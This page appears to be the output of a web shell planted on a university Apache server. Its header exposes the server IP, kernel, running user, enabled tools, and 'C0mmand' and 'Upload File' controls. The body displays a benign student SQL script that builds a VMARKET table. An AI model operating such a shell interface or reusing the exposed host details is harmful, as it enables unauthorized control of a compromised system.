|
Server IP : 172.16.15.8 / Your IP : 18.191.195.105 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/ajwilcox/../gskellam/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
drop table VMARKET;
create table VMARKET (DEPARTMENT varchar(20), SKU varchar(20), CONDITIONS varchar(10), PRICE decimal(7,2), TAX decimal(5,2), TOTAL decimal(8,2));
insert into VMARKET values("Electronics", "iPhone", "used", 199.99, 21.67, 221.66);
insert into VMARKET values("Clothing", "Jeans", "new", 49.99, 5.24, 55.23);
insert into VMARKET values("Furniture", "Couch", "old", 139.99, 12.88, 152.87);
insert into VMARKET values("Outdoors", "Grill", "new", 379.99, 25.13, 405.12);
select * from VMARKET;